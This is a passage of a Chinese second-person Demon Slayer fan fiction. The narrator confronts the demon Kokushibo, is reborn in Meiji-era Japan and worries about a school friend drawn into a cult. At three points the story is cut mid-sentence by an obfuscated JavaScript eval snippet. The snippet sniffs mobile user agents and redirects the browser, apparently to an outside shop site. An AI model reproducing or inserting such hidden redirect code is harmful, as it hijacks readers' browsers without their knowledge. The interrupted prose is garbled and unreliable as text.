鬼杀队剑士日常的生活你都无从想象,福至心灵跑到某个地方刚好遇见要找的人,是天方夜谭。 所以,你也不知道自己为什么还在找。 肺像坏掉的风箱,呼哧呼哧地进出气,骨头和肌肉一起发出悲鸣,你如同无意识的丧尸,佝偻着腰,拖着步子继续向前。 多久了?应该没多少时间吧,毕竟你的体力很差很差了。 仍是走着,太阳落下去,天黑透了。若不是在夏天,会冻死在这条路上吧? 没有力气思考了,你跌跌撞撞,脚步不停,唯恐休息一下就会摔倒,再也站不起来。 好累啊,你真的曾经有过玩闹一整天都不用歇的日子吗? 这样没头苍蝇似的乱撞,谁也找不到的吧? 走着、走着,天空从深黑褪色成浅浅的孔雀蓝,你在树荫下看到一个女人,紫色底朱红花色的小袖和服,乌发垂下,发带扎在颈后,眼底凝结着哀伤。 没有任何证据,你说:“带我去他那里。” 她那双紫色的眼睛安静地看着你:“夫人,您还有自己的人生。” 你说:“带我去他那里。” 岩胜撑着上半身跌坐在地上,黑衣的男人袖手站在一旁,这时你走过来,惨白的面色比在场任何一个都更像鬼。 “岩胜。”你低声呼唤,很确定他一定是听到了。 男人不耐烦地啧了一声。 “你活不了几天了,知道吗?”他玩味地说,“也想要我的血吗?不行,看着是很少有的类型,可实在是太弱了,你能有什么用呢?” “岩胜,”你走过去,“我们回家好不好?和我一起回家。” 他慢慢坐起来,推开你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048784|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手。 你终于痛哭出声:“看着我!为什么不看着我!告诉我,你还记得当初为什么要离开吗?” 背对着你,他的声音听起来有一种奇怪的沙哑:“我当然记得,是你什么也不知道,你走吧,不要再来。” 你攥紧他的手不肯松开:“可是你在痛苦啊,为什么,为什么要变成这样?” 无惨发出无聊的嗤笑,他有五百多年没见过这么可笑的场面了。 珠世垂首立在他身侧,表情纹丝不动。 留你在这里也不错,刚好就是现成的一餐。这样想着,无惨露出了愉悦的笑容。 “等等!”身后,你试图叫住他。 “你把生命当成什么,当成什么了?” 你剩余的力气在飞速地燃烧,喷出愤怒的火焰。 “制造不幸就这么让你满足吗,残杀和血腥,究竟能带给你什么,回答我!” “你在说什么啊,”消失前,无惨轻飘飘地丢下一句话,“我可是做了大好事,给了他最想要的东西呢。” 你已累极,无力地滑落,顺势摊开四肢,仰躺在大地上,就这么看着岩胜。 他紧闭双眼,在这篇幽暗的山谷里挨过最后的痛苦。 “这是你想要的吗?回答我。” “他们、他们说你杀了鬼杀队的首领,是真的吗?” “你要抛下一切,甚至连人类的身份都要了吗?” 他回答了你一句话:“我只想解开一切的束缚。” 束缚,这些都是束缚吗,阳光照射的温暖、亲人间的感情、守护同类的责任、普普通通不会失控的生活,都成了要舍弃的负累吗? 没有了这些,人还是人吗?理想也好,必须达成的目标也好,都是附丽在“人”之概念上才能实现的东西。这是你在知道鬼后马上就想清楚的事,岩胜为什么不懂呢? 他真的知道自己在做什么吗。 “岩胜……”你艰难地攀上他的膝盖。 是我搞错了。 “看来,答案都是是肯定的了,那我——” 你抽出了怀里东西,那是路过堂屋时,你从供奉的盔甲上取下来的短剑。 那我也有义务终结自己的错误。 你挥刀向下,笔直地插入他的胸膛。 剧痛之中,他睁开赫色的双眼,直视着你。 还、还不够吗? 你颤抖着往出拔刀,血液流淌出来,濡湿了刀柄,你更使不上力,只好往里推。岩胜顺从地后仰,你们相拥着倒在一起,像一对亲密的爱侣。 血色中,他泛红的金瞳摇曳变幻,裂成六道灼人的光。 你靠在他起伏不定的胸膛,看到他毫不在乎地挥手,掷出没入血肉的刀刃,你手心一痛,血立即涌了出来。 做完这件事后,他头一歪,定定地看住了你,又在同一瞬间,眩晕似的眯起眼。 你气喘吁吁,无力地依偎着他,任其动作。你是见过恶鬼捕食的,此刻不再抱有幻想。 眼前的情景模糊下去,除了越来越弱的呼吸,你什么也听不到。 这就是死亡吗,来得真是轻易呀。 可惜啊,如果刀能更进一点,那就好了。 19.第 19 章 有一次,我梦见大家都是不相识的。 醒来时,却发现我们原是相亲相爱的。——《飞鸟集》 1870年,日本明治三年。 这一年,距离政府颁布《学制》大兴教育两年,距离义务教育推行还有九年。 你从寺子屋中归来,在餐桌上宣布:“我要上学。” 母亲给你端来热好的牛奶:“你不是上了好几年学了吗?” 自从国内的留洋人士开始鼓吹西式饮食,家里也移风易俗吃起了西餐、喝起了牛奶,并且在你强烈的要求下做熟,牛奶至少加热半小时才上桌。 多喝牛奶长得高,你接过来一饮而尽:“我要去新开的教会学校。” 父亲叠好报纸,言简意赅地表达了他的意思:“胡闹。” “为什么啊,”你放下杯子,大声叫屈,“听说东京那里都要办专门的女子学校了,还要派女留学生呢,以后大家都会去上学的,凭什么我不能上啊。” “那什么时候我们这里也有女子学校了,你就去念书,洋人盖的洋庙,不行。” 你愤愤不平地扒拉着饭:“太不公平了,父亲你和西洋人打交道,赚他们的钱,却不许我去念书,这是什么道理?” 父亲咳嗽一声,重新举起报纸:“吃你的饭。” 你气呼呼地扒拉完,回房间一个人生闷气去了。 可恶,父亲挺好说话的一个人,怎么偏偏在这件事上这么固执,看来短时间内是说服不了他了。 可你想不通:我怎么就沦落到没学上的地步了呢? 上一世父母最信奉的就是“苦什么不能苦孩子,穷什么不能穷教育”,勒紧裤腰带都要押着你报这个班、那个班,苦不堪言。这一世父母完全是溺爱孩子的老好人,你反过来自己鸡自己,每天想着学上,结果还上不成,倒反天罡! 早知道会穿越,就不该熬夜赶论文!你郁闷死了。这下好了吧,学位没拿到,睁眼就投胎到十九世纪的日本,重活一世,打小就是失学儿童,太惨了吧! 你满地打滚,听到母亲敲门:“可以进来吗?” “什么事,我可以上学了吗?”你试探地问道。 母亲推门进来:“来,把水果吃了。” 你不高兴地拿起叉子,听她唠叨:“不是说你,学还没上够吗?一点点大就闹着要去学校,我和你父亲先送你到藩学,过了没几年你说没意思,要去寺子屋,现在又说寺子屋也没意思,闹着去什么教会,这样没长性,我看你读书也是白读。” “就是很没有意思啊,”你辩解道,“除了读书识字,藩学尽教些女德、女红、纺织、烹调,我在家里不能学吗?寺子屋好一点,多几门算数、插花、绘画,那我也都学会了呀,继续待着也太无聊了吧。” “说大话,”母亲拆穿你,“你画的那几笔能叫会了吗,要实在想学点别的,换一家寺子屋怎么样?我知道有一家琴曲和点茶课很好,你不是很喜欢汉籍吗,他们也教。” “母亲,我想学的是知识,我想要真正的学问,不是这些技艺,只有在传教士的学校里才能学到这些。”你感到了她态度的松动,赶紧趁热打铁,“让我去吧、让我去吧、让我去吧……” 你把她摇晃来摇晃去,指望把她的脑子晃晕,就这么答应下来。 “行了行了,”她果然很晕,“你父亲不会同意的,他早打听去了,进了那些学校,就要信他们的教派,成何体统。” 这……你没想到,那可真是棘手了。 父母都出身于传统的家族,祖上是守旧的藩士,虽然在黑船事件后抓住机遇的尾巴顺利转型了,但绝对不是时代弄潮儿那种类型,更多是抱着警惕的态度随大流。他们很多地方可以由着你,可“信仰”这种事是不可能随随便便松口的。 “我保证,”你举起一只手,“不管去了哪里,那些乱七八糟的东西我一眼也不看,新年准时到神社,盂兰盆节拜佛、祭祖,好不好?” 母亲笑一声,手指戳一下你的眉心:“行了,盘子我收走了。这话说了也没用,我也不同意,学校那么远,我怕你路上被鬼叼走。” 你气得仰躺回去:“哪有鬼啊。” 第二天还是到寺子屋。 刚来的时候,你把这当作兴趣班,很是认真地学了几年,现在已经厌倦了。 你脱鞋进去,先处理好手里的花材,一个一个插到瓶里,再抄一页《女大学》里的内容,就懒得动了。老师来检查,才把名字填上去。 和上辈子一模一样的名字,只是其中一个字要写成繁体。和这个名字相联系的,是一样的生日。你看着熟悉的字迹,一时百感交集。 穿越过来十几年了,发现自己变成小婴儿的惊慌仿佛还在眼前,如今很适应十九世纪的日本生活了。但过去的幽灵始终徘徊在心灵的每一处缝隙,比如现在。 你曾把它们写到试卷的密封线里,登记进社团的报名册,敲在论文的封面上,名字是社会身份的标识,人是社会关系的总和。现在这两个字代表的意义,大半已经消失。 正伤风悲秋,邻桌千代探过脑袋来:“放学要不要和我一起走?” 你来了精神:“到哪里玩?” “你的生日不是快到了吗,我们到山上的庙里求符,怎么样?” “太远了,不去。” “我知道那里有家新开的宗教,好多人去过了都说好,那你也不去吗?” “不去。” 跟上学无关,你对这教那教不感兴趣,不如说,还很反感。历史悠久的传统教派大都摸索出了和世俗生活的合适距离,这些你可以保持相对客观的态度,但什么犄角旮旯里冒出来的新型教会就阴得很了,最好敬而远之。 想到这里,你苦口婆心地劝她:“你最好也不要去,想想看,这个教真像他们说得那么灵,为什么不去大城市施展拳脚,要龟缩在山上?神子什么的,听着就不靠谱,而且——” 你心念一动,说道:“你听说那边西洋人开的教堂了吗,我们去那里玩吧。” 你知道,千代的父亲是远近闻名的实业家,对西洋的东西最精通了,听说基督教解禁后她家的态度就很积极,要是能拉一个信得过的熟人做你的新同学,父母也不会那么反对了吧? “好呀,你过生日,听你的。”千代没有反对。 为了能早点结束行程回家,你们向老师告了假,提前出发。 你们穿上木屐,手挽着手嘻嘻哈哈地上路,穿过新开的林立的商铺,在各式各样的新式广告牌下走过,有时偏离路线进去看看,但出来还是朝原本的目标进发。 路上飘来叮铃铃的声音,几架自行车飞快地掠过,你们羡慕地观看,商量着什么时候也买一辆,每天骑着玩,遇到书店就去瞧有没有新出版的西洋小说或杂志。 沿途还有有一大段路围了起来,工人们挥汗如雨,那是明治天皇引入的第一条铁路正在修建。你们踮脚张望一下,就笑嘻嘻地走开了。 这是前往下一个町的必经之路,几年间你和不同的小伙伴并肩走来走去,看到西洋的点心屋、成衣店、百货大楼一座座拔地而起,街上的行人也改换了装束。 有一天,你也成为铁路乘客的一员,身上的和服变成新式裙裤,黑皮短靴从火车上下来,混入五颜六色的木屐中,一同停在和英女子学校的门前。 “早。” “早啊,千代。” 你们走进教室,开始做晨祷。 “仁慈的上帝”“万能的主”之类的话瞎扯一通,你半点没有放在心上,兴致勃勃地打开桌盖准备上课的东西,先取出的日英词典,斥巨资11元买来——要是本中英词典就好了。 在这家教会学校里,宗教内容占据了课程的百分之三十多,你就当是大学里的水课对付过去,而且,不涉及信仰,单纯把《圣经》当文学作品看的话,你也不排斥那些内容。 摊开书本,正好是上一次合上的位置。 “我的良人哪,你甚美丽可爱,我们以青草为床榻,以香柏树为房屋的栋梁,以松树为椽子。我是沙仑的玫瑰花,是谷中的百合花。我的佳偶在女子中,好像百合花在荆棘内。”* 你低声念给千代听。 “有没有觉得这一段写得很美?它像《诗经》,也像楚辞,‘桂栋兮兰橑,辛夷楣兮药房,罔薜荔兮为帷,擗蕙櫋兮既张’*,还有‘虽则如云,匪我思存。缟衣綦巾,聊乐我员’*。想用美丽的花草装点和爱人的屋子,认为自己的爱人胜过他人,这是全世界的人都会有的心情,他们不约而同地谱成诗篇千古传诵,这就是遥远的相似性。”* 千代也在桌面上摆好了课本:“我也喜欢这一篇,诗歌里的爱总是比别处的都好,但你记得米利亚姆嬷嬷讲的吗,她说这是上帝、基督与教会、信徒的爱。” “你提醒我了,这也是‘遥远的相似性’,简直太像了。” 老师走上讲台,你闭上了嘴巴。 接下来是英文、自然科学、哲学等课程,那才是你的兴趣所在,不过今天是做弥撒的日子,课只上半天。 课程结束,修女板着脸来发领圣餐的白色长袍,你接过来披好,拉一把神游天外的千代,在修女发现之前,帮她手忙脚乱地穿上。你们都算唱诗班的成员,千代在歌咏团,你在管乐组,衣服领子颜色不一样,她却差一点走错。 “怎么回事?”你低声问。 “我没睡好。” 仪式持续一个钟头半,结束后就可以退场了。你全程神游天外,吹完最后一支曲子收起竖笛就溜。 是的,你干回了“老本行”,以前在少年宫吹,现在到教堂吹,还是次高音竖笛,感觉不赖。 走出礼堂,你和千代假装在校园里散步,跑到教学楼背后偷偷把嘴里葡萄酒的味道漱掉。 “怎么会有人喜欢这种东西。” 千代脸色好了很多,附和地微笑。 “我的墨水快用完了,一会儿去买,你来吗?” 她期期艾艾应下,付账的时候才记起没带钱,你帮她付了。 这些仪式很讨厌,但能早放学还是不错的,你们坐在火车上一起商量到哪儿玩。 千代看着车窗,外面街景在飞速地倒退。你也趴过去,好奇地往外看。 “呀!”你叫道。 “怎么了?” “我刚刚看到六道红色的鬼火,一晃眼就过去了。”你指着列车门一本正经地说。 千代笑:“哪有那种东西。” 你们都安静下来。这时,外面亮起了灯,路边的街灯、家里的电灯、商铺的霓虹在移动的车窗上连成一道道金线。 “你还记得我说过的那个山上的教派吗?”她突然道。 你记不太清楚了:“是叫……” “万世极乐教。”她低头飞快地说,“最近我父母常去那里。” “呃,”你不知道说什么好,这个教派名一听就很不妙啊,“你们全家不是几年前一起皈依了天主教吗?” 不然也不会那么痛快地送她到了教会学校啊。 “我也是这么想的,”她的眼泪一滴滴滚落下来,“你说,上帝会原谅他们吗,他们还能上天堂吗?” 你震惊不已,在“你竟然真信了这个”和“哪有什么上帝天堂”之间反复横跳,明智地选择了什么都没说,把她揽过来。 千代擦干了眼泪:“算了,不说这个了。” “千代,”你说,“我能帮你什么吗?” 她摇头:“不说这个了,我们去玩吧。” 你带她到神社,你们一起在入口处洗净双手,跑过鸟居后长长的参道,把拜殿的铃铛拉得叮当作响,绘马绑在架子上。她唱了一支教堂里的歌,你吹曲子给她听。 做完了这些,千代似乎在放松下来,坐到石阶上,托腮看着远处。你也有些累了,靠着一旁的柱子,看着神社里的景色。 “我的良人在男子中,如同苹果树在树林中。我欢欢喜喜坐在他的荫下,尝他果子的滋味,觉得甘甜。他带我入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049476|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筵宴所,以爱为旗在我以上。” 不知为何,你默念起上午没有念完的诗篇,不远处的树丛传来几声清脆的虫鸣,秋天它们声势顿减,并不显得聒噪,几只萤火虫飞起来,荧光点点消失在浓荫下,打断你的思绪。你用眼神捕捉它们移动的轨迹,又想起了火车上的“鬼火”。 你记挂着那一闪而过的场景,奇怪地放不下。 千代看着同一片树丛,她缓缓开口。 “就在今天上午,合唱这首《羔羊颂》的时候,我偷偷祈祷过了,结尾牧师念诵词刚好就读到‘用诸般的智慧,劝戒各人,教导各人’,我觉得这就是主的指引,好好劝他们肯定有用的。”她充满希望地说,“你说,爸爸妈妈会听我的吗?” 你沉默,不知道怎么安慰她才好。千代也不需要你的安慰,她自己就把自己哄好了:“太晚了,我们回去吧,谢谢你肯陪我。” 你心里沉甸甸的,默然走在萤火虫和纸烛闪烁的小路上,回到家也没有从情绪中走出来。 黑死牟来到这座城市完全是偶然。 黑船事件后,无惨对日本涌现的各式新事物充满了兴趣,不仅自己投入进去,还常常指使部下到各地去搜罗。 原本这样的事情是与他无关的,无惨从不拿小事联系他,可东京的第一列火车开通后,无惨的想法变了。 火车呼啸而来,汇集庞大的人流量,联通遥远的两地,带来无数的消息,催生无数的新现象。无惨觉得,不应该对这一钢铁怪物视而不见,尤其是在他特别需要各种情报的情况下。 于是,在一个昏暗的傍晚,黑死牟走了上去。 作为一个从战国活到现在的老古董,他对这里本能地排斥:狭长的空间里集聚了各个阶层的人,町人、农人,甚至是秽多、非人,只要花钱买票都能进来,就坐在相邻的座椅上,用来分隔的仅仅只是薄薄的几扇门,这根本就是在挑战他的底线。 黑死牟收敛了自己的气息,无声隐匿在角落里,听着明显不同阶层的各色人等走过,交流无聊的话题。 确定这里没有什么有用的东西就走吧,下次换别人来。他想。 火车停在站点,上来许多女学生,胸前佩戴着十字,来自附近的教会学校。她们穿同一色的制服,系男士腰带,耳朵上夹着铅笔,还有几位剪着短头发,青春靓丽的气息引来许多人观望。 “真是大煞风景。”黑死牟听到不少人低声骂道。 近来很多装束和风气上的变化,他也是颇不认同的。但在黑死牟心里,更不礼貌的是盯着女人评头论足。他侧过脸去。 火车飞速移动。 到下一个车厢看看。他这样想着,起身离去。 “呀!”座椅后传来一身压抑的惊呼,声音不高,轻飘飘地送到他耳内。 不知道为什么,黑死牟觉得这声音一点也不讨厌。 “我刚刚看到六道红色的鬼火,一晃眼就过去了。”你说。 黑死牟顿住。被发现了?不,不应该的。 沿途的灯火依次亮起,把窗户上的玻璃照得亮晶晶、暖融融,光线映在上面,将一车的人影投在了窗上。 背对着通道两边的座椅,黑死牟眼前浮现出一张熟悉的脸。 你的头倚靠在什么上,额前的刘海垂下来,双目哀伤地注视着斜下方,眼底黑漆漆的闪光像是有泪水在流动,和他记忆里的画面重叠。 黑死牟闭上了眼睛。 你的脸在窗外凌乱的光影里迅疾地形变,时而模糊,时而扭曲,像水下摇曳的魅影,那让他动弹不得的人影憧憧,是河底柔长的水草,缠住迷路人的双腿。 盯久了,他开始觉得眩晕,恍惚间以为是跌入了你卧在他膝上讲的怪谈故事,年轻的武士抛弃妻子离家,多年后归来,故园荒草萋萋,屋里女人织布的背影一如往昔,武士撩起她光泽依旧的黑发,下面已是一副枯骨*。 那时,你漆黑的发丝也在他的手下闪闪发光。 汽笛发出“呜呜”的鸣叫,更像夜坟的鬼哭,黑死牟一个激灵,再定睛一看,车窗上的影子摇晃两下消失不见,你下车了。 他尾随在你和千代的身后。 蒸汽车头两侧的排气阀门喷出洁白的水雾,夜风一吹,散作一层轻纱,你的小皮鞋踩在上面,装饰金属的鞋跟发出哒哒哒的脆响。 黑死牟如入梦中,循着你的足音前行。通透世界里,你的每一丝构成都纤毫毕现。 幻觉类的血鬼术?长相相似的人?有血缘关系的后代? 不。 他一一否定自己的猜测,越来越偏向那个唯一可能的答案。 这是没有意义的。他对自己说。弥补也好,重头再来也好,都不过是自欺欺人罢了。 黑死牟想,就算会转世,对停留下的那一个来说也不是重逢,这只是另一场普普通通的相遇,擅自联系起来,是对从前的侮辱。 转世又如何?你不是原来那个人了。 所以,停下来。 黑死牟跟着你进了神社。 你流连在高大美丽的建筑下,游目观赏着夜色下的风景,视线总在他身边徘徊。 怎么会这样?通透世界已到纯熟的境界,就算是最精英的鬼杀队柱级成员,也不能在他现身前察觉鬼的存在,何况你一个普通人呢? 黑死牟沉住气一动不动,发现你只是无心地扫视。 “快过来呀。” 那个人回头喊了一句,你答应着跑前去,他的肌肉又紧绷起来:名字也没有变,巧合吗? 他怅然看你们嬉笑打闹,心里漫无边际地乱想着。 叮铃铃、叮铃铃……你们拉响了祈福的铃铛,清脆的乐声和欢笑一起传出去好远。 铃声静下来的时候,你擦擦手,从拎着的包里取出了一只笛子,放在唇边轻轻地吹。 “真好听,你从哪里学的,我怎么没听过?” “没听过就对了,这是清国传来的曲调,只有我会。” 黑死牟如遭雷击。 20.第 20 章 你在本子上郑重地写下“万世极乐教”五个字。 日本是相信万物有灵的国度,号称八百万神众,各种各样不知名的小教派层出不穷,信奉什么的都有。有些以你的眼光来看说声邪教不为过,但它们在自己的土壤里生存得好好的,大多数时候看起来也是无害的,其中的度很难把握。 整个社会没有警惕自创宗教的氛围,就很难通过外力干预的方法做什么。而且,你不确定千代的痛苦是真的有什么难言之隐,还是单纯在一神教观点的影响下无法接受泛神论的父母了。 不管怎么说,先去打听一下是怎么回事吧。 听过这个教派的人并不多,你很是费了一番功夫,才探听到一点儿模糊的形容。是很小的一个教派,教主似乎没有壮大的打算,地盘一直没有扩张过,成员不多但都很虔诚,所以传出来的消息非常少。 你觉得头疼。 万世极乐教,教义是让人以恬静的心态去快乐的生活,让人觉得艰难和痛苦的事即使不做也可以,因为没有非做不可的必要。 听起来不错,很佛,没有什么攻击性,和电影、纪录片里的那些画风不同,但问题是成员都这样不事生产,维持运行的钱从哪里来呢? 你觉得自己看破了部分真相,上辈子看过的新闻在脑海里一一上演。 下次见到千代,一定要提醒她注意家里钱的动向。更好的办法,你一时也想不到。 清早,你和千代出示月票上了火车,赶往学校。 还没通铁路的时候,你们一大早就得起来坐马车,那会儿坚持上学可真是个苦差事。后来你们坐在火车相邻的位置上,一路聊着天,转眼就到校门口了。起迟了也不怕,就在路边吃早餐,一份咖喱饭才五分钱。 现在,千代格外的沉默。她不开口,你也不敢提。勉强起个话头,聊几句就说不下去了。 “我太不关心他们了,”千代说,“父亲抱怨过好久,实业不好做,我和妈妈都没当回事,他们压力一定很大,才会这样的。” 事业陷入困顿的人确实容易转向神佛求寄托,你只能说:“会好起来的。” 你们走进教室,准备上课。同学在座位间走来走去地串门,交流最近流行的浪漫小说,或是翻阅百货公司的邮购目录,对比不同款式的洋装,直到教授英国文学的玛丽亚小姐走进来,说今天有一次测试,教室里一片叹气声。 “安静、安静!”趁着玛丽亚小姐用教鞭敲桌子,前排的久子飞快地转过来:“一会儿,你把试卷往前放一点,行吗?” 你说:“久子你少逃两节课,就不用抄别人的卷子了。” 她不高兴地撇撇嘴,抬手理理时髦的半束发,上面的莲花形坠子摇晃起来。 “千代,你的给我看。” “别理她。”你说。 千代低下头去。 考试到一半,你向右侧瞟去,千代把试卷推到桌子的前半部分。 你伸出钢笔去蘸墨水。 “呀!对不起、对不起,真的非常对不起!” 久子气冲冲地跳起来,墨水顺着桌沿滴到椅面上,你连连道歉,马上掏出手帕去擦,结果当然是越抹越黑。 “怎么回事?”玛丽亚小姐走了过来。 知道原委后,她说:“那么久子同学先换个位置吧,到我桌上去写。” 你九十度垂直鞠躬:“非常不好意思久子同学,椅子的修理费我会赔给你的。” 久子狠狠地剜了你一眼,带着试卷和文具离开了。 你坐回去,直到考试结束。 “谢谢你,但是以后别这么做了,”交了卷子,千代说,“墨水好贵的,油漆也好贵。” 你忧虑地看着她:“千代,你是不是……你父母是不是……”不给钱了啊? 千代眼神躲闪一下,走开了。 你气得拍自己脑门:情商怎么这么低,会不会说话啊? 下节课是主日学,学监娜奥米小姐指挥所有班级的学生到小礼堂去听高学部的前辈讲圣经故事。你全程心不在焉,老是去看千代怎么样了。 这种课程,老师管得很严,所有的学生都在自己位置上老老实实地听,你一排、一排地看,没有找到久子。 下课回到教室,轮到你喜欢的心理哲学课。你揉揉太阳穴,掀开书桌盖,这时千代也回来,站在你身旁惊呼出声。 大片浓黑的墨汁浇在桌洞里。 “这,这……”她结结巴巴说不出话。 你放下桌盖,久子在门边对你做一个吹口哨的动作,指尖的蔻丹闪闪发光,转过身头发上的坠子在空气中划过一道耀武扬威的弧线。 千代看着要哭出来了。 你冷静地把书一本一本取出来,还好,脏的都是些《圣母玫瑰》《真教问答》《九日瞻礼经》之类的书,正经课本你都用布包好放在下面,几乎不受影响,换个书皮就好了。 “没事儿,你看一点儿事也没有。”你安慰千代。 她低头,使劲用手背擦一下眼睛:“你别管我了,离她们远点。” “她们?”你捕捉到关键词,“还有谁?” 千代被霸凌了?你怎么没发现! 你嚯一下站起来:“我们去找米利亚姆嬷嬷。” “不是的,不是的,”她赶紧拉住你恳求道,“我随便说的。” 你冲出了教室,跑到走廊上打开窗户,只看到久子的背影远去,她拉着一个衣服上绣莲花的同学,走出了校门。 那个女孩你认识,是小学部的由美,上周举行弥撒,她就排你身后领圣餐,主祭默念着经文把分好的面包放入葡萄酒,宣布这就是耶稣的圣体、圣血时,你听到她轻轻地说:“这都是骗人的。” 放学后,千代没有和你一起走。你手拿着月票在站台等了好久,还是一个人上了车。再不走,千代只能赶末班车了。 回到家,母亲责怪你路上太贪玩,这么晚才回来。你给她一个大大的的拥抱,溜到餐桌上。 “父亲,”你用闲聊的口气问,“有什么崇拜莲花的团体吗?” “莲花,那不是佛教吗?” “我记得也是。” 怎么可能啊。吃完饭回到房间,你打开了那个写着万世极乐教的小本本。 管不了那么多,只要不威胁到我身边就好了。你想。 “母亲,我去千代家写作业。” 之后很久都无事发生,你再没发现身上佩戴莲花饰品的人。久子好多天没来上课了,你听到修女在花名册上记了好几笔,说什么处分的事。 你有一种冲动,想去小学部的教室看看由美在不在,但忍住了。 一点微小的人际冲突,因为双方不依不饶,牵扯进来的人越来越多,事件不断升级,最终酿成悲剧,好多电影都是这么拍的。 你骨子里挺怂的,不敢轻举妄动。 好在千代没有半点不对劲,她老老实实地穿着制服,每天准时上课、离开,作业永远写得整整齐齐,一次也不落。 你都觉得她比你认真多了,你太爱走神,思绪漫无边际地飘荡,而她总是坐得板板正正,眼睛专注地盯着黑板,笔记一丝不苟。 你觉得自己可以放心了。 没有“她们”来骚扰,千代恢复了和你同行的习惯。你们走在东京的闹市区里,习惯性地到新开的店铺里看新鲜玩意。有一家卖自行车,你们看一眼橱窗标的价格就吓退了。 太可怕了,想不到自行车也有是奢侈品的历史啊,还以为今天能骑车回家呢。 你们边走边说着闲话,从评论杂志上新出的文章聊到近年大行其道的政治小说。 “在教会念完书后,你会想要做什么呢?”她问。 “我应该还会继续读吧,”你说,“东京女子学校或者女子师范学校,以后高等学府会越来越多的,说不定会有其他选择。千代你呢?” 你还是现代人的思维,都念书了,不去高考、不去读大学,那不是白念书了吗? “你是真的很喜欢读书啊。”千代微笑。 “你不喜欢吗?” “不是不喜欢,是我……”她的眼神变得茫然,“我不知道自己能做什么。” 你懂了。你一开始也是这样,很多事说不上喜欢不喜欢,大家都这么做你也就跟着做了,上学、放学、听课、考试、熬夜、早起,居然就这么坚持到了高考。你进入大学才体会到学习的快乐,很晚才想明白做某些事的意义,不过,只要知道自己喜欢的东西,多久都不晚。 “那就现在开始想,你要做什么?” 千代沉吟。 “我想不到,”她凄然地笑,“我可能来不及做什么,读书或者其他事都一样。学总有上完的一天,毕业了还不是那样,父母不会让你嫁人吗?” 很现实的困境,是这个时代背景中你必须面对的终极之问。 “我也不知道。”你诚实地说。因为毕竟还没有到那种时候,是坚强地承受住压力还是顺应社会风气,口说无凭。上辈子你到死都是单身,专心地钻研文学,但确实还没到婚育压力最大的年纪,有学业这个挡箭牌父母尚可睁一只眼闭一只眼,男婚女嫁惯性的力量有多大,你没有真正感受过。 “所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053294|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以都一样。”她消沉地说。 “千代,”你小心翼翼地问,“你家让你退学嫁人吗?” “差不多吧。” 差不多是差多少啊!你紧紧地抱住她:“千代,坚持住。你回去就这么说,就算要嫁人,有学历嫁得更好啊。” 这就叫缓兵之计,先拖住再说。 她说:“我尽量。” 千代还是班里的模范学生,品学兼优,从学监、老师到修女嬷嬷都赞不绝口。她晨祷比谁都端正,做体操是领队,用餐时衣服领子和餐巾不见一丝褶皱,刀叉、杯子绝不会用错,月底考核每一科都是A。 你可比不过,你早已沾染了大学生的不良习气,只在主课上下功夫,其他的划划水,及格就行,至于哪些是主课,你自己定义。 “早。” “早啊。” 你们在火车站碰面,穿过沿街的叫卖声携手走进校园,再到车站分手,回到各自的家中,想不出第二天会有什么不同。 可就是这天,你没有等到她。 踩着铃声,你气喘吁吁冲进教室,无视修女的怒视焦急地往前一看,千代已经在自己的座位上了。 “我没赶上火车,就做马车来了。”她解释道。 “这样啊。”你觉得她看起来非常累,没有忍心追问下去。 从这天起,她不再和你一起走。 你疑惑又失落,但千代对你如常。 父母也发现了不对劲,问:“那个老和你一块的同学呢?” 你找借口掩饰过去,心里却很不是滋味。左思右想,越想越觉得不对劲,联想起这几个月里所有的疑点,你做了一个大胆的决定:跟踪。 没走几步,计划的草率就暴露出来:这鞋跟也太响了吧。 你悻悻然停在原地,等千代走远了,隔着大概三四十米跟在后面。 她果然没有往火车站的方向走,是要租马车或叫人力车吗?你跟着她又走过一个街区,路上的行人稀少下来。 这种地方能打到车吗? 你隐蔽的难度大大增加,只好再落后十米远。不过,看千代只管闷头走的样子,估计是发现不了身后有什么异常的。 大概四十分钟过去,没有任何事发生,你觉得有些无聊了。千代越走越快,为了跟上她,你也开始提速。 怎么还不打车? 好几辆人力车从她身边经过,车夫看到是女学生靠过来拉生意,千代都像躲什么脏东西一样一一避开了,你也不得不照样闪开。 这是要到什么地方去? 你继续走,小腿有些酸了。千代却不受什么影响的样子,脚下的木屐轻快,一部步不停越走越偏,路上灯都不多了。 再走下去,街上要没人了吧。你后怕起来,左顾右盼,观察四周,等再回过头来,千代左右手都给人拖着,眼看着就要拽到小巷子里去了。 你!!! “给我放手,放开她!”你拿出中考体育誓拿满分的劲,一口气就冲了上去。 咚。你没收力,直接撞在一个人身上,猛力推着她撞到墙上。 